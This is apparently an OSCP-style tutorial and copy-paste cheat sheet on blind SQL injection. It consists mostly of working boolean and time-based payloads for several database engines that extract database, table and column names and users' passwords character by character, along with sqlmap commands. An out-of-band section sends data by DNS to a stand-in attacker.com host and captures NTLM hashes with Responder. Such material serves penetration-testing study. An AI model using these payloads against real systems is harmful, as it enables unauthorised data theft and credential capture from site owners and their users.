Blind SQL Injection — Boolean & Time-Based
What is Blind SQLi?
Blind means the database query results are never shown in the HTTP response. You can’t see data directly — instead you ask yes/no questions and infer data one bit at a time.
| Type | How it works | Speed |
|---|---|---|
| Boolean-Based | True query → normal page / False query → different page | Slow |
| Time-Based | True condition → delay / False → instant | Slowest |
When to use Blind: Union-based doesn’t work (no reflection), error-based doesn’t work (errors hidden), but the page behaves differently depending on your query — or delays.
📌 1) Boolean-Based Blind — Step by Step
Confirm it’s boolean injectable
-- Both should produce DIFFERENT page responses
?id=1 AND 1=1-- True → normal page (original content)
?id=1 AND 1=2-- False → different page (empty, error, missing content)
-- String context
?id=1' AND '1'='1'-- True
?id=1' AND '1'='2'-- False
-- Without closing quote (integer injection)
?id=1 AND 1=1
?id=1 AND 1=2If the page is truly identical for true and false → it’s NOT boolean injectable. Try time-based instead.
Extract data character by character
Boolean blind extracts each character by asking: “Is the Nth character of [value] equal to [char]?”
Template
-- Generic template (MySQL)
?id=1 AND SUBSTRING([TARGET],POSITION,1)='[CHAR]'--
-- Example: is the first character of database() equal to 'a'?
?id=1 AND SUBSTRING(database(),1,1)='a'-- False
?id=1 AND SUBSTRING(database(),1,1)='e'-- True → first char is 'e'
?id=1 AND SUBSTRING(database(),2,1)='x'-- continue for next charExtract the database name
-- MySQL
?id=1 AND SUBSTRING(database(),1,1)='a'--
?id=1 AND SUBSTRING(database(),1,1)='b'--
... (try a-z, 0-9, _ until True)
-- More efficient: use ASCII + binary search
?id=1 AND ASCII(SUBSTRING(database(),1,1))>64-- True (char > '@')
?id=1 AND ASCII(SUBSTRING(database(),1,1))>96-- True (char > '`')
?id=1 AND ASCII(SUBSTRING(database(),1,1))>109-- False
?id=1 AND ASCII(SUBSTRING(database(),1,1))>102-- True
?id=1 AND ASCII(SUBSTRING(database(),1,1))=101-- True → char is 'e' (ASCII 101)Extract table names (MySQL)
-- Get first table name (character by character)
?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'--
-- With ASCII
?id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117--
-- Get second table (LIMIT 1,1)
?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),1,1)='p'--Extract column names
?id=1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='u'--Extract data from a table
-- Is the first character of the first username 'a'?
?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a'--
-- Is the first character of the first password 'p'?
?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p'--DB-Specific Boolean Payloads
-- MySQL
SUBSTRING(str, pos, len)
MID(str, pos, len) -- alias for SUBSTRING
LEFT(str, len) -- first N chars
RIGHT(str, len) -- last N chars
LOCATE('char', str) > 0 -- does string contain char?
-- MSSQL
SUBSTRING(str, pos, len)
CHARINDEX('char', str) > 0
LEFT(str, len)
ASCII(SUBSTRING(str, pos, 1))
-- PostgreSQL
SUBSTRING(str FROM pos FOR len)
SUBSTR(str, pos, len)
ASCII(SUBSTR(str, pos, 1))
POSITION('char' IN str) > 0
-- Oracle
SUBSTR(str, pos, len)
ASCII(SUBSTR(str, pos, 1))
INSTR(str, 'char') > 0
-- ─── Confirm existence ────────────────────────────────────────
-- Does the users table exist?
?id=1 AND (SELECT COUNT(*) FROM users)>0--
-- MySQL
?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')=1--
-- MSSQL
?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')=1--Comparison operators for binary search
-- Greater than / less than (binary search is faster than brute force)
?id=1 AND ASCII(SUBSTRING(database(),1,1))>100--
?id=1 AND ASCII(SUBSTRING(database(),1,1))<120--
?id=1 AND ASCII(SUBSTRING(database(),1,1))=109-- -- found: 'm' = 109
-- BETWEEN
?id=1 AND ASCII(SUBSTRING(database(),1,1)) BETWEEN 97 AND 122-- -- lowercase letterAutomation hint
Doing this manually for a full database is impractical. Use SQLMap for boolean blind:
sqlmap -u "http://target/page.php?id=1" --technique=B --dbs --batch📌 2) Time-Based Blind — Step by Step
Time-based blind injects a conditional delay: if the condition is true → sleep; if false → respond immediately. You measure the response time.
Confirm it’s time-injectable
-- MySQL — SLEEP(5)
?id=1 AND SLEEP(5)-- → does the page take ~5 extra seconds?
-- MSSQL — WAITFOR DELAY
?id=1; WAITFOR DELAY '0:0:5'--
-- PostgreSQL — pg_sleep
?id=1 AND 1=1 AND pg_sleep(5)--
?id=1; SELECT pg_sleep(5)--
-- Oracle — DBMS_PIPE.RECEIVE_MESSAGE
?id=1 AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
-- SQLite — randomblob (heavy compute)
?id=1 AND 1=1 AND randomblob(100000000)--Rule of thumb: Use 3–5 seconds — long enough to detect confidently, short enough to be practical.
Conditional sleep — extract data
The pattern: IF (condition is true) THEN sleep, ELSE don’t sleep
-- MySQL
?id=1 AND IF(1=1, SLEEP(5), 0)-- → sleeps 5s (condition true)
?id=1 AND IF(1=2, SLEEP(5), 0)-- → instant (condition false)
-- Template: extract a character
?id=1 AND IF(SUBSTRING(database(),1,1)='e', SLEEP(5), 0)--
-- → If first char of DB name is 'e', page delays 5 seconds
-- Extract database name
?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- no delay
?id=1 AND IF(SUBSTRING(database(),1,1)='e', SLEEP(5), 0)-- 5s delay → first char is 'e'
?id=1 AND IF(SUBSTRING(database(),2,1)='x', SLEEP(5), 0)-- continue...
-- Using ASCII for binary search
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--MSSQL Time-Based
-- Basic delay
'; WAITFOR DELAY '0:0:5'--
-- Conditional delay (IF/ELSE)
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (1=2) WAITFOR DELAY '0:0:5'-- no delay
-- Extract data
'; IF (SUBSTRING(db_name(),1,1)='m') WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING(db_name(),1,1))>100) WAITFOR DELAY '0:0:5'--
-- Table existence check
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--PostgreSQL Time-Based
-- Basic
?id=1 AND 1=1 AND pg_sleep(5)--
?id=1; SELECT pg_sleep(5)--
-- Conditional (CASE WHEN)
?id=1 AND CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
?id=1 AND CASE WHEN (1=2) THEN pg_sleep(5) ELSE pg_sleep(0) END-- instant
-- Extract data
?id=1 AND CASE WHEN (SUBSTR(current_database(),1,1)='p') THEN pg_sleep(5) ELSE pg_sleep(0) END--
?id=1 AND CASE WHEN (ASCII(SUBSTR(current_database(),1,1))>100) THEN pg_sleep(5) ELSE pg_sleep(0) END--Oracle Time-Based
-- Uses heavy function for delay (no simple SLEEP)
?id=1 AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
-- Conditional
?id=1 AND CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END=1--
?id=1 AND CASE WHEN (SUBSTR(user,1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END=1--
-- Alternative (if DBMS_PIPE not available)
?id=1 AND CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM all_objects a, all_objects b) ELSE NULL END>1--SQLite Time-Based
-- No sleep function — use heavy computation
?id=1 AND randomblob(100000000)-- might delay on slow servers
-- With condition
?id=1 AND CASE WHEN (1=1) THEN randomblob(100000000) ELSE 0 END--📌 3) Out-of-Band (DNS Exfiltration)
Less common on OSCP, but worth knowing. Data is sent to an attacker-controlled server via DNS lookup or HTTP request.
MySQL
-- DNS exfil via LOAD_FILE (Windows only, needs FILE priv)
?id=1 AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
-- MySQL on Windows makes a DNS lookup for [dbname].attacker.comMSSQL
-- DNS exfil via xp_dirtree (no xp_cmdshell needed)
'; EXEC xp_dirtree '\\attacker.com\share'--
-- Also captures NTLM hash → catch with Responder
-- Capture hash with Responder
sudo responder -I tun0 -v📌 4) Practical Detection Checklist
1. Test basic injection:
' → syntax error?
'' → no error?
2. Test boolean:
AND 1=1-- → different from AND 1=2--?
3. Test time:
AND SLEEP(5)-- → delay?
MySQL: AND SLEEP(5)--
MSSQL: ; WAITFOR DELAY '0:0:5'--
PgSQL: AND pg_sleep(5)--
4. No visible difference at all?
→ Try in different parameters (headers, cookies)
→ Use SQLMap with all techniques: --technique=BEUSTQ
5. Confirmed blind injection?
→ Use SQLMap: sqlmap -r request.txt --batch --dbs
📌 Quick OSCP Cheat Sheet (Copy/Paste)
-- ─── CONFIRM BOOLEAN BLIND ────────────────────────────────────
?id=1 AND 1=1-- (true → normal page)
?id=1 AND 1=2-- (false → different page)
-- ─── CONFIRM TIME BLIND ───────────────────────────────────────
?id=1 AND SLEEP(5)-- MySQL
?id=1; WAITFOR DELAY '0:0:5'-- MSSQL
?id=1 AND 1=1 AND pg_sleep(5)-- PostgreSQL
-- ─── BOOLEAN EXTRACT (MySQL) ──────────────────────────────────
-- Is database name first char 'e'?
?id=1 AND SUBSTRING(database(),1,1)='e'--
-- ASCII binary search (faster)
?id=1 AND ASCII(SUBSTRING(database(),1,1))>100--
-- Table name
?id=1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'--
-- Data
?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p'--
-- ─── TIME EXTRACT (MySQL) ─────────────────────────────────────
?id=1 AND IF(SUBSTRING(database(),1,1)='e', SLEEP(5), 0)--
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--
?id=1 AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--
?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p', SLEEP(5), 0)--
-- ─── TIME EXTRACT (MSSQL) ─────────────────────────────────────
'; IF (ASCII(SUBSTRING(db_name(),1,1))>100) WAITFOR DELAY '0:0:5'--
'; IF ((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '0:0:5'--
-- ─── TIME EXTRACT (PostgreSQL) ────────────────────────────────
?id=1 AND CASE WHEN (SUBSTR(current_database(),1,1)='p') THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- ─── AUTOMATE WITH SQLMAP ─────────────────────────────────────
sqlmap -u "http://target/page.php?id=1" --technique=BT --dbs --batch --level=3
sqlmap -r request.txt --technique=BT --dbs --batch